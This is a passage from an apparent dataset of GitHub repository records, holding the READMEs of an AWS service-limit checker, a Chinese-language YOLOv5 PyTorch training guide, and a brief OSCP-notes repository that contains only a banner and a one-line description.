downloads\n\n.. image:: https://img.shields.io/github/forks/jantman/awslimitchecker.svg\n   :alt: GitHub Forks\n   :target: https://github.com/jantman/awslimitchecker/network\n\n.. image:: https://img.shields.io/github/issues/jantman/awslimitchecker.svg\n   :alt: GitHub Open Issues\n   :target: https://github.com/jantman/awslimitchecker/issues\n\n.. image:: http://www.repostatus.org/badges/1.1.0/active.svg\n   :alt: Project Status: Active - The project has reached a stable, usable state and is being actively developed.\n   :target: http://www.repostatus.org/#active\n\n.. image:: http://badges.gitter.im/jantman/awslimitchecker.png\n   :alt: gitter.im chat\n   :target: https://gitter.im/awslimitchecker/Lobby\n\n.. image:: https://img.shields.io/conda/v/conda-forge/awslimitchecker\n   :alt: Conda\n   :target: https://anaconda.org/conda-forge/awslimitchecker\n\nMaster:\n\n.. image:: https://api.travis-ci.com/jantman/awslimitchecker.svg?branch=master\n   :target: http://travis-ci.com/jantman/awslimitchecker\n   :alt: travis-ci for master branch\n\n.. image:: https://codecov.io/github/jantman/awslimitchecker/coverage.svg?branch=master\n   :target: https://codecov.io/github/jantman/awslimitchecker?branch=master\n   :alt: coverage report for master branch\n\n.. image:: https://readthedocs.org/projects/awslimitchecker/badge/?version=latest\n   :target: https://readthedocs.org/projects/awslimitchecker/?badge=latest\n   :alt: sphinx documentation for latest release\n\nDevelop:\n\n.. image:: https://api.travis-ci.com/jantman/awslimitchecker.svg?branch=develop\n   :target: http://travis-ci.com/jantman/awslimitchecker\n   :alt: travis-ci for develop branch\n\n.. image:: https://codecov.io/github/jantman/awslimitchecker/coverage.svg?branch=develop\n   :target: https://codecov.io/github/jantman/awslimitchecker?branch=develop\n   :alt: coverage report for develop branch\n\n.. image:: https://readthedocs.org/projects/awslimitchecker/badge/?version=develop\n   :target: https://readthedocs.org/projects/awslimitchecker/?badge=develop\n   :alt: sphinx documentation for develop branch\n\nA script and python module to check your AWS service limits and usage, and warn when usage approaches limits.\n\nUsers building out scalable services in Amazon AWS often run into AWS' `service limits <http://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html>`_ -\noften at the least convenient time (i.e. mid-deploy or when autoscaling fails). Amazon's `Trusted Advisor <https://aws.amazon.com/premiumsupport/trustedadvisor/>`_\ncan help this, but even the version that comes with Business and Enterprise support only monitors a small subset of AWS limits\nand only alerts *weekly*. The new Service Quotas service can also help with this, but relies on CloudWatch alarms per-limit to notify\nyou when you approach your limits; this cannot easily scale to the hundreds of current service limits. awslimitchecker provides a command line\nscript and reusable Python package that queries your current usage of AWS resources and compares it to limits (hard-coded AWS defaults that you\ncan override, API-based limits where available, Service Quotas data where available, or data from Trusted Advisor where available), notifying\nyou when you are approaching or at your limits.\n\nFull project documentation for the latest release is available at `http://awslimitchecker.readthedocs.io/en/latest/ <http://awslimitchecker.readthedocs.io/en/latest/>`_.\n\nStatus\n------\n\nawslimitchecker is mature software, with approximately 13,000 downloads per month and in daily use at numerous organizations.\n\nDevelopment status is being tracked on a board at waffle.io: https://waffle.io/jantman/awslimitchecker\n\nWhat It Does\n------------\n\n- Check current AWS resource usage against AWS Service Limits\n- Show and inspect current usage\n- Override default Service Limits (for accounts with increased limits)\n- Compare current usage to limits; return information about limits that\n  exceed thresholds, and (CLI wrapper) exit non-0 if thresholds are exceeded\n- Define custom thresholds per-limit\n- where possible, pull current limits from Trusted Advisor API\n- where possible, pull current limits from each service's API (for services that provide this information)\n- where possible, pull current limits from the Service Quotas service\n- Supports explicitly setting the AWS region\n- Supports using `STS <http://docs.aws.amazon.com/STS/latest/APIReference/Welcome.html>`_ to assume roles in other accounts, including using ``external_id``.\n- Optionally refresh Trusted Advisor \"Service Limits\" check before polling\n  Trusted Advisor data, and optionally wait for the refresh to complete (up to\n  an optional maximum time limit). See\n  `Getting Started - Trusted Advisor <http://awslimitchecker.readthedocs.io/en/latest/getting_started.html#trusted-advisor>`_\n  for more information.\n- Optionally send current usage and limit metrics to a metrics store, such as Datadog.\n- Optionally send warning/critical alerts to notification providers, such as PagerDuty.\n\nRequirements\n------------\n\n**Either Docker in order to run via the** `docker image <http://awslimitchecker.readthedocs.io/en/latest/docker.html>`__, **or:**\n\n* Python 3.5 or newer.\n* Python `VirtualEnv <http://www.virtualenv.org/>`_ and ``pip`` (recommended installation method; your OS/distribution should have packages for these)\n* `boto3 <http://boto3.readthedocs.org/>`_ >= 1.4.6 and its dependency `botocore <https://botocore.readthedocs.io/en/latest/>`_ >= 1.6.0.\n\nAlternatively, awslimitchecker may be installed through `conda <https://docs.conda.io/en/latest/>`_ with ``conda install -c conda-forge awslimitchecker``. This will automatically install the required dependencies as well.\n\nInstallation and Usage\n-----------------------\n\nSee `Getting Started <http://awslimitchecker.readthedocs.io/en/latest/getting_started.html>`_.\n\nCredentials\n-----------\n\nSee `Credentials <http://awslimitchecker.readthedocs.io/en/latest/getting_started.html#credentials>`_.\n\nGetting Help and Asking Questions\n----------------------------------\n\nSee `Getting Help <http://awslimitchecker.readthedocs.io/en/latest/getting_help.html>`_.\n\nFor paid support and development options, please see the\n`Enterprise Support Agreements and Contract Development <http://awslimitchecker.readthedocs.io/en/latest/getting_help.html#enterprise-support-agreements-and-contract-development>`_\nsection of the documentation.\n\nThere is also a `gitter.im chat channel <https://gitter.im/awslimitchecker/Lobby>`_ for support and discussion.\n\nChangelog\n---------\n\nSee `Changelog <http://awslimitchecker.readthedocs.io/en/latest/changes.html>`_.\n\nContributions\n-------------\n\nPull requests are most definitely welcome. Please cut them against the **develop** branch. For more information, see\nthe `development documentation <http://awslimitchecker.readthedocs.org/en/latest/development.html#pull-requests>`_. I'm\nalso happy to accept contributions in the form of bug reports, feature requests, testing, etc.\n\nLicense\n-------\n\nawslimitchecker is licensed under the `GNU Affero General Public License, version 3 or later <http://www.gnu.org/licenses/agpl.html>`_.\nThis shouldn't be much of a concern to most people; see `Development / AGPL <http://awslimitchecker.readthedocs.io/en/latest/development.html#agpl-license>`_ for more information.\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "bubbliiiing/yolov5-pytorch", "link": "https://github.com/bubbliiiing/yolov5-pytorch", "tags": [], "stars": 507, "description": "\u8fd9\u662f\u4e00\u4e2aYoloV5-pytorch\u7684\u6e90\u7801\uff0c\u53ef\u4ee5\u7528\u4e8e\u8bad\u7ec3\u81ea\u5df1\u7684\u6a21\u578b\u3002", "lang": "Python", "repo_lang": "", "readme": "## YOLOV5\uff1aYou Only Look Once\u76ee\u6807\u68c0\u6d4b\u6a21\u578b\u5728pytorch\u5f53\u4e2d\u7684\u5b9e\u73b0\uff08edition v5.0 in Ultralytics\uff09\n---\n\n## \u76ee\u5f55\n1. [\u4ed3\u5e93\u66f4\u65b0 Top News](#\u4ed3\u5e93\u66f4\u65b0)\n2. [\u76f8\u5173\u4ed3\u5e93 Related code](#\u76f8\u5173\u4ed3\u5e93)\n3. [\u6027\u80fd\u60c5\u51b5 Performance](#\u6027\u80fd\u60c5\u51b5)\n4. [\u6240\u9700\u73af\u5883 Environment](#\u6240\u9700\u73af\u5883)\n5. [\u6587\u4ef6\u4e0b\u8f7d Download](#\u6587\u4ef6\u4e0b\u8f7d)\n6. [\u8bad\u7ec3\u6b65\u9aa4 How2train](#\u8bad\u7ec3\u6b65\u9aa4)\n7. [\u9884\u6d4b\u6b65\u9aa4 How2predict](#\u9884\u6d4b\u6b65\u9aa4)\n8. [\u8bc4\u4f30\u6b65\u9aa4 How2eval](#\u8bc4\u4f30\u6b65\u9aa4)\n9. [\u53c2\u8003\u8d44\u6599 Reference](#Reference)\n\n## Top News\n**`2022-04`**:**\u652f\u6301\u591aGPU\u8bad\u7ec3\uff0c\u65b0\u589e\u5404\u4e2a\u79cd\u7c7b\u76ee\u6807\u6570\u91cf\u8ba1\u7b97\uff0c\u65b0\u589eheatmap\uff1b\u5c06\u6b63\u6837\u672c\u5339\u914d\u8fc7\u7a0b\u52a0\u5165dataloader\uff0c\u52a0\u5feb\u4e86\u8fd0\u7b97\u901f\u5ea6\uff1b\u52a0\u5165EMA\u6548\u679c\u53d8\u597d\u3002**  \nBiliBili\u89c6\u9891\u4e2d\u7684\u539f\u4ed3\u5e93\u5730\u5740\u4e3a\uff1ahttps://github.com/bubbliiiing/yolov5-pytorch/tree/bilibili\n\n**`2022-02`**:**\u4ed3\u5e93\u521b\u5efa\uff0c\u652f\u6301\u4e0d\u540c\u5c3a\u5bf8\u6a21\u578b\u8bad\u7ec3\uff0c\u5206\u522b\u4e3as\u3001m\u3001l\u3001x\u7248\u672c\u7684yolov5\u3001\u652f\u6301step\u3001cos\u5b66\u4e60\u7387\u4e0b\u964d\u6cd5\u3001\u652f\u6301adam\u3001sgd\u4f18\u5316\u5668\u9009\u62e9\u3001\u652f\u6301\u5b66\u4e60\u7387\u6839\u636ebatch_size\u81ea\u9002\u5e94\u8c03\u6574\u3001\u65b0\u589e\u56fe\u7247\u88c1\u526a\u3002**  \n\n## \u76f8\u5173\u4ed3\u5e93\n| \u6a21\u578b | \u8def\u5f84 |\n| :----- | :----- |\nYoloV3 | https://github.com/bubbliiiing/yolo3-pytorch  \nEfficientnet-Yolo3 | https://github.com/bubbliiiing/efficientnet-yolo3-pytorch  \nYoloV4 | https://github.com/bubbliiiing/yolov4-pytorch\nYoloV4-tiny | https://github.com/bubbliiiing/yolov4-tiny-pytorch\nMobilenet-Yolov4 | https://github.com/bubbliiiing/mobilenet-yolov4-pytorch\nYoloV5-V5.0 | https://github.com/bubbliiiing/yolov5-pytorch\nYoloV5-V6.1 | https://github.com/bubbliiiing/yolov5-v6.1-pytorch\nYoloX | https://github.com/bubbliiiing/yolox-pytorch\nYoloV7 | https://github.com/bubbliiiing/yolov7-pytorch\nYoloV7-tiny | https://github.com/bubbliiiing/yolov7-tiny-pytorch\n\n## \u6027\u80fd\u60c5\u51b5\n| \u8bad\u7ec3\u6570\u636e\u96c6 | \u6743\u503c\u6587\u4ef6\u540d\u79f0 | \u6d4b\u8bd5\u6570\u636e\u96c6 | \u8f93\u5165\u56fe\u7247\u5927\u5c0f | mAP 0.5:0.95 | mAP 0.5 |\n| :-----: | :-----: | :------: | :------: | :------: | :-----: |\n| COCO-Train2017 | [yolov5_s.pth](https://github.com/bubbliiiing/yolov5-pytorch/releases/download/v1.0/yolov5_s.pth) | COCO-Val2017 | 640x640 | 35.6 | 53.9\n| COCO-Train2017 | [yolov5_m.pth](https://github.com/bubbliiiing/yolov5-pytorch/releases/download/v1.0/yolov5_m.pth) | COCO-Val2017 | 640x640 | 43.9 | 62.6 \n| COCO-Train2017 | [yolov5_l.pth](https://github.com/bubbliiiing/yolov5-pytorch/releases/download/v1.0/yolov5_l.pth) | COCO-Val2017 | 640x640 | 47.4 | 66.2 \n| COCO-Train2017 | [yolov5_x.pth](https://github.com/bubbliiiing/yolov5-pytorch/releases/download/v1.0/yolov5_x.pth) | COCO-Val2017 | 640x640 | 49.4 | 67.9 \n\nYoloV5\u5b98\u65b9\u4fdd\u5b58\u7684\u662f\u534a\u7cbe\u5ea6\u6a21\u578b\uff0c\u672c\u4ed3\u5e93\u4fdd\u5b58\u7684\u662f\u5168\u7cbe\u5ea6\u6a21\u578b\uff0c\u6240\u4ee5\u6743\u503c\u7684\u5927\u5c0f\u6709\u6240\u5dee\u5f02\u3002   \n\n## \u6240\u9700\u73af\u5883\ntorch==1.2.0\n\n## \u6587\u4ef6\u4e0b\u8f7d\n\u8bad\u7ec3\u6240\u9700\u7684\u6743\u503c\u53ef\u5728\u767e\u5ea6\u7f51\u76d8\u4e2d\u4e0b\u8f7d\u3002  \n\u94fe\u63a5: https://pan.baidu.com/s/1gPDsDVX1lbcSNqCKsvzz0A   \n\u63d0\u53d6\u7801: 3mjs   \n\nVOC\u6570\u636e\u96c6\u4e0b\u8f7d\u5730\u5740\u5982\u4e0b\uff0c\u91cc\u9762\u5df2\u7ecf\u5305\u62ec\u4e86\u8bad\u7ec3\u96c6\u3001\u6d4b\u8bd5\u96c6\u3001\u9a8c\u8bc1\u96c6\uff08\u4e0e\u6d4b\u8bd5\u96c6\u4e00\u6837\uff09\uff0c\u65e0\u9700\u518d\u6b21\u5212\u5206\uff1a  \n\u94fe\u63a5: https://pan.baidu.com/s/19Mw2u_df_nBzsC2lg20fQA    \n\u63d0\u53d6\u7801: j5ge   \n\n## \u8bad\u7ec3\u6b65\u9aa4\n### a\u3001\u8bad\u7ec3VOC07+12\u6570\u636e\u96c6\n1. \u6570\u636e\u96c6\u7684\u51c6\u5907   \n**\u672c\u6587\u4f7f\u7528VOC\u683c\u5f0f\u8fdb\u884c\u8bad\u7ec3\uff0c\u8bad\u7ec3\u524d\u9700\u8981\u4e0b\u8f7d\u597dVOC07+12\u7684\u6570\u636e\u96c6\uff0c\u89e3\u538b\u540e\u653e\u5728\u6839\u76ee\u5f55**  \n\n2. \u6570\u636e\u96c6\u7684\u5904\u7406   \n\u4fee\u6539voc_annotation.py\u91cc\u9762\u7684annotation_mode=2\uff0c\u8fd0\u884cvoc_annotation.py\u751f\u6210\u6839\u76ee\u5f55\u4e0b\u76842007_train.txt\u548c2007_val.txt\u3002   \n\n3. \u5f00\u59cb\u7f51\u7edc\u8bad\u7ec3   \ntrain.py\u7684\u9ed8\u8ba4\u53c2\u6570\u7528\u4e8e\u8bad\u7ec3VOC\u6570\u636e\u96c6\uff0c\u76f4\u63a5\u8fd0\u884ctrain.py\u5373\u53ef\u5f00\u59cb\u8bad\u7ec3\u3002   \n\n4. \u8bad\u7ec3\u7ed3\u679c\u9884\u6d4b   \n\u8bad\u7ec3\u7ed3\u679c\u9884\u6d4b\u9700\u8981\u7528\u5230\u4e24\u4e2a\u6587\u4ef6\uff0c\u5206\u522b\u662fyolo.py\u548cpredict.py\u3002\u6211\u4eec\u9996\u5148\u9700\u8981\u53bbyolo.py\u91cc\u9762\u4fee\u6539model_path\u4ee5\u53caclasses_path\uff0c\u8fd9\u4e24\u4e2a\u53c2\u6570\u5fc5\u987b\u8981\u4fee\u6539\u3002   \n**model_path\u6307\u5411\u8bad\u7ec3\u597d\u7684\u6743\u503c\u6587\u4ef6\uff0c\u5728logs\u6587\u4ef6\u5939\u91cc\u3002   \nclasses_path\u6307\u5411\u68c0\u6d4b\u7c7b\u522b\u6240\u5bf9\u5e94\u7684txt\u3002**   \n\u5b8c\u6210\u4fee\u6539\u540e\u5c31\u53ef\u4ee5\u8fd0\u884cpredict.py\u8fdb\u884c\u68c0\u6d4b\u4e86\u3002\u8fd0\u884c\u540e\u8f93\u5165\u56fe\u7247\u8def\u5f84\u5373\u53ef\u68c0\u6d4b\u3002   \n\n### b\u3001\u8bad\u7ec3\u81ea\u5df1\u7684\u6570\u636e\u96c6\n1. \u6570\u636e\u96c6\u7684\u51c6\u5907  \n**\u672c\u6587\u4f7f\u7528VOC\u683c\u5f0f\u8fdb\u884c\u8bad\u7ec3\uff0c\u8bad\u7ec3\u524d\u9700\u8981\u81ea\u5df1\u5236\u4f5c\u597d\u6570\u636e\u96c6\uff0c**    \n\u8bad\u7ec3\u524d\u5c06\u6807\u7b7e\u6587\u4ef6\u653e\u5728VOCdevkit\u6587\u4ef6\u5939\u4e0b\u7684VOC2007\u6587\u4ef6\u5939\u4e0b\u7684Annotation\u4e2d\u3002   \n\u8bad\u7ec3\u524d\u5c06\u56fe\u7247\u6587\u4ef6\u653e\u5728VOCdevkit\u6587\u4ef6\u5939\u4e0b\u7684VOC2007\u6587\u4ef6\u5939\u4e0b\u7684JPEGImages\u4e2d\u3002   \n\n2. \u6570\u636e\u96c6\u7684\u5904\u7406  \n\u5728\u5b8c\u6210\u6570\u636e\u96c6\u7684\u6446\u653e\u4e4b\u540e\uff0c\u6211\u4eec\u9700\u8981\u5229\u7528voc_annotation.py\u83b7\u5f97\u8bad\u7ec3\u7528\u76842007_train.txt\u548c2007_val.txt\u3002   \n\u4fee\u6539voc_annotation.py\u91cc\u9762\u7684\u53c2\u6570\u3002\u7b2c\u4e00\u6b21\u8bad\u7ec3\u53ef\u4ee5\u4ec5\u4fee\u6539classes_path\uff0cclasses_path\u7528\u4e8e\u6307\u5411\u68c0\u6d4b\u7c7b\u522b\u6240\u5bf9\u5e94\u7684txt\u3002   \n\u8bad\u7ec3\u81ea\u5df1\u7684\u6570\u636e\u96c6\u65f6\uff0c\u53ef\u4ee5\u81ea\u5df1\u5efa\u7acb\u4e00\u4e2acls_classes.txt\uff0c\u91cc\u9762\u5199\u81ea\u5df1\u6240\u9700\u8981\u533a\u5206\u7684\u7c7b\u522b\u3002   \nmodel_data/cls_classes.txt\u6587\u4ef6\u5185\u5bb9\u4e3a\uff1a      \n```python\ncat\ndog\n...\n```\n\u4fee\u6539voc_annotation.py\u4e2d\u7684classes_path\uff0c\u4f7f\u5176\u5bf9\u5e94cls_classes.txt\uff0c\u5e76\u8fd0\u884cvoc_annotation.py\u3002  \n\n3. \u5f00\u59cb\u7f51\u7edc\u8bad\u7ec3  \n**\u8bad\u7ec3\u7684\u53c2\u6570\u8f83\u591a\uff0c\u5747\u5728train.py\u4e2d\uff0c\u5927\u5bb6\u53ef\u4ee5\u5728\u4e0b\u8f7d\u5e93\u540e\u4ed4\u7ec6\u770b\u6ce8\u91ca\uff0c\u5176\u4e2d\u6700\u91cd\u8981\u7684\u90e8\u5206\u4f9d\u7136\u662ftrain.py\u91cc\u7684classes_path\u3002**  \n**classes_path\u7528\u4e8e\u6307\u5411\u68c0\u6d4b\u7c7b\u522b\u6240\u5bf9\u5e94\u7684txt\uff0c\u8fd9\u4e2atxt\u548cvoc_annotation.py\u91cc\u9762\u7684txt\u4e00\u6837\uff01\u8bad\u7ec3\u81ea\u5df1\u7684\u6570\u636e\u96c6\u5fc5\u987b\u8981\u4fee\u6539\uff01**  \n\u4fee\u6539\u5b8cclasses_path\u540e\u5c31\u53ef\u4ee5\u8fd0\u884ctrain.py\u5f00\u59cb\u8bad\u7ec3\u4e86\uff0c\u5728\u8bad\u7ec3\u591a\u4e2aepoch\u540e\uff0c\u6743\u503c\u4f1a\u751f\u6210\u5728logs\u6587\u4ef6\u5939\u4e2d\u3002  \n\n4. \u8bad\u7ec3\u7ed3\u679c\u9884\u6d4b  \n\u8bad\u7ec3\u7ed3\u679c\u9884\u6d4b\u9700\u8981\u7528\u5230\u4e24\u4e2a\u6587\u4ef6\uff0c\u5206\u522b\u662fyolo.py\u548cpredict.py\u3002\u5728yolo.py\u91cc\u9762\u4fee\u6539model_path\u4ee5\u53caclasses_path\u3002  \n**model_path\u6307\u5411\u8bad\u7ec3\u597d\u7684\u6743\u503c\u6587\u4ef6\uff0c\u5728logs\u6587\u4ef6\u5939\u91cc\u3002  \nclasses_path\u6307\u5411\u68c0\u6d4b\u7c7b\u522b\u6240\u5bf9\u5e94\u7684txt\u3002**  \n\u5b8c\u6210\u4fee\u6539\u540e\u5c31\u53ef\u4ee5\u8fd0\u884cpredict.py\u8fdb\u884c\u68c0\u6d4b\u4e86\u3002\u8fd0\u884c\u540e\u8f93\u5165\u56fe\u7247\u8def\u5f84\u5373\u53ef\u68c0\u6d4b\u3002  \n\n## \u9884\u6d4b\u6b65\u9aa4\n### a\u3001\u4f7f\u7528\u9884\u8bad\u7ec3\u6743\u91cd\n1. \u4e0b\u8f7d\u5b8c\u5e93\u540e\u89e3\u538b\uff0c\u5728\u767e\u5ea6\u7f51\u76d8\u4e0b\u8f7d\u6743\u503c\uff0c\u653e\u5165model_data\uff0c\u8fd0\u884cpredict.py\uff0c\u8f93\u5165  \n```python\nimg/street.jpg\n```\n2. \u5728predict.py\u91cc\u9762\u8fdb\u884c\u8bbe\u7f6e\u53ef\u4ee5\u8fdb\u884cfps\u6d4b\u8bd5\u548cvideo\u89c6\u9891\u68c0\u6d4b\u3002  \n### b\u3001\u4f7f\u7528\u81ea\u5df1\u8bad\u7ec3\u7684\u6743\u91cd\n1. \u6309\u7167\u8bad\u7ec3\u6b65\u9aa4\u8bad\u7ec3\u3002  \n2. \u5728yolo.py\u6587\u4ef6\u91cc\u9762\uff0c\u5728\u5982\u4e0b\u90e8\u5206\u4fee\u6539model_path\u548cclasses_path\u4f7f\u5176\u5bf9\u5e94\u8bad\u7ec3\u597d\u7684\u6587\u4ef6\uff1b**model_path\u5bf9\u5e94logs\u6587\u4ef6\u5939\u4e0b\u9762\u7684\u6743\u503c\u6587\u4ef6\uff0cclasses_path\u662fmodel_path\u5bf9\u5e94\u5206\u7684\u7c7b**\u3002  \n```python\n_defaults = {\n    #--------------------------------------------------------------------------#\n    #   \u4f7f\u7528\u81ea\u5df1\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u8fdb\u884c\u9884\u6d4b\u4e00\u5b9a\u8981\u4fee\u6539model_path\u548cclasses_path\uff01\n    #   model_path\u6307\u5411logs\u6587\u4ef6\u5939\u4e0b\u7684\u6743\u503c\u6587\u4ef6\uff0cclasses_path\u6307\u5411model_data\u4e0b\u7684txt\n    #\n    #   \u8bad\u7ec3\u597d\u540elogs\u6587\u4ef6\u5939\u4e0b\u5b58\u5728\u591a\u4e2a\u6743\u503c\u6587\u4ef6\uff0c\u9009\u62e9\u9a8c\u8bc1\u96c6\u635f\u5931\u8f83\u4f4e\u7684\u5373\u53ef\u3002\n    #   \u9a8c\u8bc1\u96c6\u635f\u5931\u8f83\u4f4e\u4e0d\u4ee3\u8868mAP\u8f83\u9ad8\uff0c\u4ec5\u4ee3\u8868\u8be5\u6743\u503c\u5728\u9a8c\u8bc1\u96c6\u4e0a\u6cdb\u5316\u6027\u80fd\u8f83\u597d\u3002\n    #   \u5982\u679c\u51fa\u73b0shape\u4e0d\u5339\u914d\uff0c\u540c\u65f6\u8981\u6ce8\u610f\u8bad\u7ec3\u65f6\u7684model_path\u548cclasses_path\u53c2\u6570\u7684\u4fee\u6539\n    #--------------------------------------------------------------------------#\n    \"model_path\"        : 'model_data/yolov5_s.pth',\n    \"classes_path\"      : 'model_data/coco_classes.txt',\n    #---------------------------------------------------------------------#\n    #   anchors_path\u4ee3\u8868\u5148\u9a8c\u6846\u5bf9\u5e94\u7684txt\u6587\u4ef6\uff0c\u4e00\u822c\u4e0d\u4fee\u6539\u3002\n    #   anchors_mask\u7528\u4e8e\u5e2e\u52a9\u4ee3\u7801\u627e\u5230\u5bf9\u5e94\u7684\u5148\u9a8c\u6846\uff0c\u4e00\u822c\u4e0d\u4fee\u6539\u3002\n    #---------------------------------------------------------------------#\n    \"anchors_path\"      : 'model_data/yolo_anchors.txt',\n    \"anchors_mask\"      : [[6, 7, 8], [3, 4, 5], [0, 1, 2]],\n    #---------------------------------------------------------------------#\n    #   \u8f93\u5165\u56fe\u7247\u7684\u5927\u5c0f\uff0c\u5fc5\u987b\u4e3a32\u7684\u500d\u6570\u3002\n    #---------------------------------------------------------------------#\n    \"input_shape\"       : [640, 640],\n    #------------------------------------------------------#\n    #   \u6240\u4f7f\u7528\u7684YoloV5\u7684\u7248\u672c\u3002s\u3001m\u3001l\u3001x\n    #------------------------------------------------------#\n    \"phi\"               : 's',\n    #---------------------------------------------------------------------#\n    #   \u53ea\u6709\u5f97\u5206\u5927\u4e8e\u7f6e\u4fe1\u5ea6\u7684\u9884\u6d4b\u6846\u4f1a\u88ab\u4fdd\u7559\u4e0b\u6765\n    #---------------------------------------------------------------------#\n    \"confidence\"        : 0.5,\n    #---------------------------------------------------------------------#\n    #   \u975e\u6781\u5927\u6291\u5236\u6240\u7528\u5230\u7684nms_iou\u5927\u5c0f\n    #---------------------------------------------------------------------#\n    \"nms_iou\"           : 0.3,\n    #---------------------------------------------------------------------#\n    #   \u8be5\u53d8\u91cf\u7528\u4e8e\u63a7\u5236\u662f\u5426\u4f7f\u7528letterbox_image\u5bf9\u8f93\u5165\u56fe\u50cf\u8fdb\u884c\u4e0d\u5931\u771f\u7684resize\uff0c\n    #   \u5728\u591a\u6b21\u6d4b\u8bd5\u540e\uff0c\u53d1\u73b0\u5173\u95edletterbox_image\u76f4\u63a5resize\u7684\u6548\u679c\u66f4\u597d\n    #---------------------------------------------------------------------#\n    \"letterbox_image\"   : True,\n    #-------------------------------#\n    #   \u662f\u5426\u4f7f\u7528Cuda\n    #   \u6ca1\u6709GPU\u53ef\u4ee5\u8bbe\u7f6e\u6210False\n    #-------------------------------#\n    \"cuda\"              : True,\n}\n```\n3. \u8fd0\u884cpredict.py\uff0c\u8f93\u5165  \n```python\nimg/street.jpg\n```\n4. \u5728predict.py\u91cc\u9762\u8fdb\u884c\u8bbe\u7f6e\u53ef\u4ee5\u8fdb\u884cfps\u6d4b\u8bd5\u548cvideo\u89c6\u9891\u68c0\u6d4b\u3002  \n\n## \u8bc4\u4f30\u6b65\u9aa4 \n### a\u3001\u8bc4\u4f30VOC07+12\u7684\u6d4b\u8bd5\u96c6\n1. \u672c\u6587\u4f7f\u7528VOC\u683c\u5f0f\u8fdb\u884c\u8bc4\u4f30\u3002VOC07+12\u5df2\u7ecf\u5212\u5206\u597d\u4e86\u6d4b\u8bd5\u96c6\uff0c\u65e0\u9700\u5229\u7528voc_annotation.py\u751f\u6210ImageSets\u6587\u4ef6\u5939\u4e0b\u7684txt\u3002\n2. \u5728yolo.py\u91cc\u9762\u4fee\u6539model_path\u4ee5\u53caclasses_path\u3002**model_path\u6307\u5411\u8bad\u7ec3\u597d\u7684\u6743\u503c\u6587\u4ef6\uff0c\u5728logs\u6587\u4ef6\u5939\u91cc\u3002classes_path\u6307\u5411\u68c0\u6d4b\u7c7b\u522b\u6240\u5bf9\u5e94\u7684txt\u3002**  \n3. \u8fd0\u884cget_map.py\u5373\u53ef\u83b7\u5f97\u8bc4\u4f30\u7ed3\u679c\uff0c\u8bc4\u4f30\u7ed3\u679c\u4f1a\u4fdd\u5b58\u5728map_out\u6587\u4ef6\u5939\u4e2d\u3002\n\n### b\u3001\u8bc4\u4f30\u81ea\u5df1\u7684\u6570\u636e\u96c6\n1. \u672c\u6587\u4f7f\u7528VOC\u683c\u5f0f\u8fdb\u884c\u8bc4\u4f30\u3002  \n2. \u5982\u679c\u5728\u8bad\u7ec3\u524d\u5df2\u7ecf\u8fd0\u884c\u8fc7voc_annotation.py\u6587\u4ef6\uff0c\u4ee3\u7801\u4f1a\u81ea\u52a8\u5c06\u6570\u636e\u96c6\u5212\u5206\u6210\u8bad\u7ec3\u96c6\u3001\u9a8c\u8bc1\u96c6\u548c\u6d4b\u8bd5\u96c6\u3002\u5982\u679c\u60f3\u8981\u4fee\u6539\u6d4b\u8bd5\u96c6\u7684\u6bd4\u4f8b\uff0c\u53ef\u4ee5\u4fee\u6539voc_annotation.py\u6587\u4ef6\u4e0b\u7684trainval_percent\u3002trainval_percent\u7528\u4e8e\u6307\u5b9a(\u8bad\u7ec3\u96c6+\u9a8c\u8bc1\u96c6)\u4e0e\u6d4b\u8bd5\u96c6\u7684\u6bd4\u4f8b\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b (\u8bad\u7ec3\u96c6+\u9a8c\u8bc1\u96c6):\u6d4b\u8bd5\u96c6 = 9:1\u3002train_percent\u7528\u4e8e\u6307\u5b9a(\u8bad\u7ec3\u96c6+\u9a8c\u8bc1\u96c6)\u4e2d\u8bad\u7ec3\u96c6\u4e0e\u9a8c\u8bc1\u96c6\u7684\u6bd4\u4f8b\uff0c\u9ed8\u8ba4\u60c5\u51b5\u4e0b \u8bad\u7ec3\u96c6:\u9a8c\u8bc1\u96c6 = 9:1\u3002\n3. \u5229\u7528voc_annotation.py\u5212\u5206\u6d4b\u8bd5\u96c6\u540e\uff0c\u524d\u5f80get_map.py\u6587\u4ef6\u4fee\u6539classes_path\uff0cclasses_path\u7528\u4e8e\u6307\u5411\u68c0\u6d4b\u7c7b\u522b\u6240\u5bf9\u5e94\u7684txt\uff0c\u8fd9\u4e2atxt\u548c\u8bad\u7ec3\u65f6\u7684txt\u4e00\u6837\u3002\u8bc4\u4f30\u81ea\u5df1\u7684\u6570\u636e\u96c6\u5fc5\u987b\u8981\u4fee\u6539\u3002\n4. \u5728yolo.py\u91cc\u9762\u4fee\u6539model_path\u4ee5\u53caclasses_path\u3002**model_path\u6307\u5411\u8bad\u7ec3\u597d\u7684\u6743\u503c\u6587\u4ef6\uff0c\u5728logs\u6587\u4ef6\u5939\u91cc\u3002classes_path\u6307\u5411\u68c0\u6d4b\u7c7b\u522b\u6240\u5bf9\u5e94\u7684txt\u3002**  \n5. \u8fd0\u884cget_map.py\u5373\u53ef\u83b7\u5f97\u8bc4\u4f30\u7ed3\u679c\uff0c\u8bc4\u4f30\u7ed3\u679c\u4f1a\u4fdd\u5b58\u5728map_out\u6587\u4ef6\u5939\u4e2d\u3002\n\n## Reference\nhttps://github.com/qqwweee/keras-yolo3/  \nhttps://github.com/Cartucho/mAP  \nhttps://github.com/Ma-Dan/keras-yolo4  \nhttps://github.com/ultralytics/yolov5   \n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "areyou1or0/OSCP", "link": "https://github.com/areyou1or0/OSCP", "tags": [], "stars": 506, "description": "OSCP ", "lang": "Python", "repo_lang": "", "readme": "```                                   _             ___  \n   __ _ _ __ ___ _   _  ___  _   _/ | ___  _ __ / _ \\ \n  / _` | '__/ _ \\ | | |/ _ \\| | | | |/ _ \\| '__| | | |\n | (_| | | |  __/ |_| | (_) | |_| | | (_) | |  | |_| |\n  \\__,_|_|  \\___|\\__, |\\___/ \\__,_|_|\\___/|_|   \\___/ \n                 |___/                                \n\n```\n\n# OSCP\nThese are my notes for OSCP preparation. Hope you'll find them useful.\nMay the force be with you!\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": 